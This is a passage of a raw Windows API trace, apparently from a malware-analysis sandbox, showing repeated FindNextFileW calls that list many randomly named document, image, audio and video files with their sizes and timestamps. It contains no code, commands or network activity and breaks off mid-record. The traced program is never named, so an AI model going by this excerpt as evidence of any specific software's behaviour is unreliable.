(dwErrCode=0x0) [0139.768] GetLastError () returned 0x0 [0139.768] SetLastError (dwErrCode=0x0) [0139.768] GetLastError () returned 0x0 [0139.768] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ccb21d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a6a0c5, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ccb21d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x12cd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="lDq8f54d4hhCIri7rU.rtf", cAlternateFileName="")) returned 1 [0139.768] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cc15db, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a60485, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cc15db, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x15208, dwReserved0=0x0, dwReserved1=0x0, cFileName="gkNzsfx.odt", cAlternateFileName="")) returned 1 [0139.768] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ce86e1, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ce86e1, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xb863, dwReserved0=0x0, dwReserved1=0x0, cFileName="uX9C3BTlu7W5CJLwms.ppt", cAlternateFileName="")) returned 1 [0139.768] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ce86e1, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ce86e1, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xbe68, dwReserved0=0x0, dwReserved1=0x0, cFileName="vKgP03.mp3", cAlternateFileName="")) returned 1 [0139.768] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cadd58, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a42fc4, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cadd58, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x17c8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="a7jth.jpg", cAlternateFileName="")) returned 1 [0139.769] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cf2322, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a911c7, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cf2322, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x158c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="zYMAYhHoRyK6PFynZFc.mkv", cAlternateFileName="")) returned 1 [0139.769] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c55f0c, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449ba440, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c55f0c, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x1546a, dwReserved0=0x0, dwReserved1=0x0, cFileName="EGXGDc6zOuTQrpM.gif", cAlternateFileName="")) returned 1 [0139.769] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c38a47, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44975e7e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c38a47, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xf284, dwReserved0=0x0, dwReserved1=0x0, cFileName="2E6UGCq.doc", cAlternateFileName="")) returned 1 [0139.769] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ccb21d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a73d06, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ccb21d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x13179, dwReserved0=0x0, dwReserved1=0x0, cFileName="nCFz76aqfOi4GGvs9d9.m4a", cAlternateFileName="")) returned 1 [0139.769] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449b0800, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x5140, dwReserved0=0x0, dwReserved1=0x0, cFileName="C9OE6MiLKOuTz5.avi", cAlternateFileName="")) returned 1 [0139.769] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cadd58, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a4cc05, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cadd58, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xaf7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="b13UpS9k3v.swf", cAlternateFileName="")) returned 1 [0139.769] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x577b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MM3Rngzs9r6yCyV.csv", cAlternateFileName="")) returned 1 [0139.769] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ccb21d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a73d06, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ccb21d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x15886, dwReserved0=0x0, dwReserved1=0x0, cFileName="mcLK0zRep8.ots", cAlternateFileName="")) returned 1 [0139.769] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cd4e5e, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a73d06, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cd4e5e, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xab34, dwReserved0=0x0, dwReserved1=0x0, cFileName="p7Ha2r1u6wluhJ.pptx", cAlternateFileName="")) returned 1 [0139.770] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cc15db, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a60485, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cc15db, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x8b6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="iJonu6wFMMd.bmp", cAlternateFileName="")) returned 1 [0139.770] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xbd6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="KeH2iEJnN7k1r.odt", cAlternateFileName="")) returned 1 [0139.770] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c42689, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449896ff, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c42689, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x140ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="9lpH4LUvBOFfSshu6h.csv", cAlternateFileName="")) returned 1 [0139.770] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c38a47, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44975e7e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c38a47, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x13a59, dwReserved0=0x0, dwReserved1=0x0, cFileName="2XXFjQNQ26X8Wc.swf", cAlternateFileName="")) returned 1 [0139.770] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xd32d, dwReserved0=0x0, dwReserved1=0x0, cFileName="KLswtt0JPiPQkCC6R3Lm.m4a", cAlternateFileName="")) returned 1 [0139.770] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cadd58, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a4cc05, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cadd58, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x9304, dwReserved0=0x0, dwReserved1=0x0, cFileName="bVYQpQ1.mp4", cAlternateFileName="")) returned 1 [0139.770] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cd4e5e, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a73d06, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cd4e5e, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xd722, dwReserved0=0x0, dwReserved1=0x0, cFileName="pQaKrG.pptx", cAlternateFileName="")) returned 1 [0139.770] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449896ff, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xf4a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AzVWpbVP.doc", cAlternateFileName="")) returned 1 [0139.770] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c55f0c, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449c4080, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c55f0c, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x11b85, dwReserved0=0x0, dwReserved1=0x0, cFileName="EmJj9nJ.pptx", cAlternateFileName="")) returned 1 [0139.770] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cb799a, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a60485, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cb799a, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xadfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="fUgAWuSkZ3EbpCZ5Rvs.gif", cAlternateFileName="")) returned 1 [0139.770] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x6fbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="MwAvirxPiQV.swf", cAlternateFileName="")) returned 1 [0139.771] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ce86e1, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ce86e1, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x1339b, dwReserved0=0x0, dwReserved1=0x0, cFileName="vfiyj.gif", cAlternateFileName="")) returned 1 [0139.771] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c86c53, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449eb182, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c86c53, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x1526f, dwReserved0=0x0, dwReserved1=0x0, cFileName="USKBVwnLaYIUmcn.mp4", cAlternateFileName="")) returned 1 [0139.771] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cdea9f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a7d946, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cdea9f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x86dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="s6JQB.pptx", cAlternateFileName="")) returned 1 [0139.771] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cdea9f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cdea9f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x9f6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl70jWmP2ggACy.png", cAlternateFileName="")) returned 1 [0139.771] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xab59, dwReserved0=0x0, dwReserved1=0x0, cFileName="NBAT3tYNBcHdC.ppt", cAlternateFileName="")) returned 1 [0139.772] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cadd58, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a56845, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cadd58, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x690b, dwReserved0=0x0, dwReserved1=0x0, cFileName="cdHLWs2KE.docx", cAlternateFileName="")) returned 1 [0139.772] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c7d011, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449e1541, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c7d011, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xf37f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHCEF.gif", cAlternateFileName="")) returned 1 [0139.772] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c733d0, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449e1541, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c733d0, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xfcb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="P6tWitG0.ppt", cAlternateFileName="")) returned 1 [0139.772] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cadd58, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a42fc4, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cadd58, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xa32d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZcPV3qk7PkeQOKKV.xls", cAlternateFileName="")) returned 1 [0139.772] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ca4117, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449f4dc2, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ca4117, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x134dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="X18sQ2pVfY.mp3", cAlternateFileName="")) returned 1 [0139.772] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c55f0c, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449ba440, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c55f0c, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xb1b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EOk7P095P.xls", cAlternateFileName="")) returned 1 [0139.772] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449a6bc0, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x5bc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BDK13uXlqscCs2sGFIQ.doc", cAlternateFileName="")) returned 1 [0139.772] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cd4e5e, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a73d06, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cd4e5e, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x14f79, dwReserved0=0x0, dwReserved1=0x0, cFileName="ow3Vle4.swf", cAlternateFileName="")) returned 1 [0139.772] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x11dda, dwReserved0=0x0, dwReserved1=0x0, cFileName="KLUwMaQCvDlNDoCoQ3.xls", cAlternateFileName="")) returned 1 [0139.772] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c7d011, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449e1541, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c7d011, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x16f00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RBkxpRf3.m4a", cAlternateFileName="")) returned 1 [0139.773] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c733d0, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c733d0, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x15a45, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCVoNePy.png", cAlternateFileName="")) returned 1 [0139.773] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cb799a, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a56845, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cb799a, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x166d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="dPc6HLBDbx19XugtWM.jpg", cAlternateFileName="")) returned 1 [0139.773] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cf2322, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a911c7, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cf2322, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x16fbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="ywcd6Y1iM3n9j4GZ20Ya.png", cAlternateFileName="")) returned 1 [0139.773] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c38a47, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44975e7e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c38a47, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x873d, dwReserved0=0x0, dwReserved1=0x0, cFileName="3QVfoNUquygvYJYnxL.m4a", cAlternateFileName="")) returned 1 [0139.773] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449896ff, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xc601, dwReserved0=0x0, dwReserved1=0x0, cFileName="AhsbCQy.csv", cAlternateFileName="")) returned 1 [0139.773] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c733d0, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c733d0, 